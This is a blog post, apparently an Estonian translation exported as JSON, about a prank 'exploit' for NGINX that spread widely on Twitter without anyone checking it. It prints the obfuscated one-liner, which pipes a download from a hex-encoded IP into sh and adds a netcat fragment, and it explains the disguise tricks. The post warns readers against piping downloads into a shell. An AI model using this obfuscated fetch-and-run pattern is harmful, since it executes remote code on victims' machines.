{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"Sotsiaalse eksperimendi edu vale Nginx'i ekspluateerimisega","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

M\u00e4rk. t\u00f5lge.<\/b>: Timur Gilmullin<\/a><\/noindex> originali m\u00e4rkuse, mis avaldati 1. juunil, otsustas l\u00e4bi viia eksperimendi infotehnoloogia huviliste seas. Selleks valmistas ta vale eksploiteerimise avastamata haavatavusele veebiserveris ja postitas selle oma Twitterisse. Tema eeldused \u2014 et spetsialistid, kes n\u00e4evad koode ilmselget petmist, l\u00f6\u00f6vad ta hetkega paljastama \u2014 ei lihtsalt ei \u00f5igustanud end... Need \u00fcletasid k\u00f5ik ootused, ja vastupidiselt: tweet sai tohutu toetuse paljude inimeste poolt, kes ei kontrollinud tema sisu.<\/i><\/p>\n

\"Sotsiaalse
\n
\nTL;DR: \u00c4rge mingil juhul kasutage failide torustamist sh v\u00f5i bash's. See on suurep\u00e4rane viis arvuti kontrolli kaotamiseks.<\/b><\/a><\/noindex><\/p>\n

Soovin jagada teiega v\u00e4ikest lugu naljakast PoC-exploitist, mis loodi 31. mail. See tuli kiiresti vastusena uudisele Alisa Esage \u0160evt\u0161enko<\/a><\/noindex>, liige Zero Day Initiative<\/a><\/noindex> (ZDI), et varsti avaldatakse teave NGINX-i haavatavuse kohta, mis viib RCE (koodide kaugelt t\u00e4itmine). Kuna NGINX on paljude veebisaitide aluseks, pidi uudis olema nagu pomm. Kuid teabe \u00abvastutustundliku avalikustamise\u00bb protsessi viivituste t\u00f5ttu ei olnud toimunud juhtumi \u00fcksikasjad teada - see on ZDI tavaline protseduur.<\/p>\n

\"Sotsiaalse
\nTviit<\/a><\/noindex> NGINX-i haavatavuse avalikustamisest<\/i><\/p>\n

L\u00f5petades uue curl'i obfuskeermistehnika arendamise, tsiteerisin algset tviiti ja \u00ablekkisin t\u00f6\u00f6tava PoC\u00bb, mis koosnes \u00fchest koodireast, mis v\u00e4idetavalt kasutas avastatud haavatavust. Loomulikult oli see t\u00e4ielik jama. Olin kindel, et mind paljastatakse kohe ja et parimal juhul saan paar retviiti (ja siis mis seal ikka).<\/p>\n

\"Sotsiaalse
\nTviit<\/a><\/noindex> vale ekspluateerimisega<\/i><\/p>\n

Kuid ma ei suutnud ette kujutada, mis edasi juhtuma hakkas. Minu tviidi populaarsus t\u00f5usis taevasse. \u00dcllataval kombel ei ole siiani (1. juuni kell 15:00 Moskva aja j\u00e4rgi) paljud isegi aru saanud, et see on vale. Paljud retviitivad seda ilma igasuguse kontrollita (r\u00e4\u00e4kimata kaunite ASCII-graafikate nautimisest, mida see v\u00e4lja prindib).<\/p>\n

\"Sotsiaalse
\nVaata, kui ilus see on!<\/i><\/p>\n

Isegi kui k\u00f5ik need ts\u00fcklid ja v\u00e4rvid on h\u00e4mmastavad, on selge, et neid n\u00e4ha, pidi inimene koodi oma masinas k\u00e4ivitama. \u00d5nneks t\u00f6\u00f6tavad brauserid sarnaselt ning arvestades, et seadusprobleemid ei ole mulle vajalikud, tegi kood, mis oli mu saidil peidetud, lihtsalt echo-kutseid, ilma et prooviks k\u00e4ivitada v\u00f5i installida mingit lisakoodi.<\/p>\n

V\u00e4ike k\u00f5rvalep\u00f5ige: netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, mina ja teised mehed tiimist Thugcrowd<\/a><\/noindex> oleme juba m\u00f5nda aega katsetanud erinevaid viise curl-k\u00e4skude obfutseerimiseks, sest see on lahe... ja me oleme geegid. netspooky ja dnz leidsid m\u00f5ned uued viisid, mis tundusid mulle \u00e4\u00e4rmiselt paljut\u00f5otavad. Liitusin l\u00f5busa seltskonnaga ja proovisin IP-dekdecimal muundamisi trikkide komplekti lisada. Selgus, et IP-sid saab ka kuusnurkadesse konverteerida. Veelgi enam, curl ja enamik teisi NIX-t\u00f6\u00f6riistu v\u00f5tavad heameelega \u201es\u00f6\u00f6miseks\u201c kuusnurkseid IP-sid! Seega oli vajalik lihtsalt luua usutav ja turvaliselt n\u00e4iv k\u00e4surea k\u00e4sk. L\u00f5puks j\u00e4in selle juurde:<\/p>\n

curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/%00\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
Sotsiaalne elektroonika inseneriteadus (S.E.E.) \u2014 rohkem kui lihtsalt phishing<\/h2>\n
\nTurvalisus ja harjumus olid eksperimendi keskse koostisosana. Arvan, et need just aitasid kaasa selle edule. Kommando rida viitas selgelt turvalisusele, viidates \u201e127.0.0.1\u201d (tuntud localhost). Arvatakse, et localhost on turvaline ja selle andmed ei lahku kunagi teie arvutist.<\/p>\n
Harjumus oli teine oluline S.E.E. komponent eksperimendis. Kuna sihtr\u00fchm koosnes peamiselt inimestest, kes on tuttavad arvutiturvalisuse p\u00f5hialustega, oli oluline luua selline kood, mille osad n\u00e4ivad tuttavad ja harjumusp\u00e4rased (seega turvalised). Vanade ekspluateerimisideede elementide laenamine ja nende ebatavaline kombineerimine osutus v\u00e4ga edukaks.<\/p>\n
Allpool on \u00fcksikasjalik \u00fclevaade \u00fche realisest koodi n\u00e4itest. Kogu see nimekiri on kosmeetilise iseloomuga<\/b>, ja selle t\u00f5husaks toimimiseks ei ole praktiliselt midagi vajalik.<\/i><\/p>\n
Millised koostisosad on t\u00f5eliselt vajalikud? Need on -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> ning veebiserver. Veebiserver ei sisaldanud \u00fchtegi pahatahtlikku k\u00e4sku, vaid edastas lihtsalt ASCII graafikat k\u00e4skude kaudu echo<\/code> skriptis, mis sisaldub index.html<\/code>. Kui kasutaja sisestas rea, kus on |sh<\/code> keskel, index.html<\/code> laaditi ja viidi ellu. \u00d5nneks ei olnud veebiserveri hooldajatel halbu kavatsusi.<\/p>\n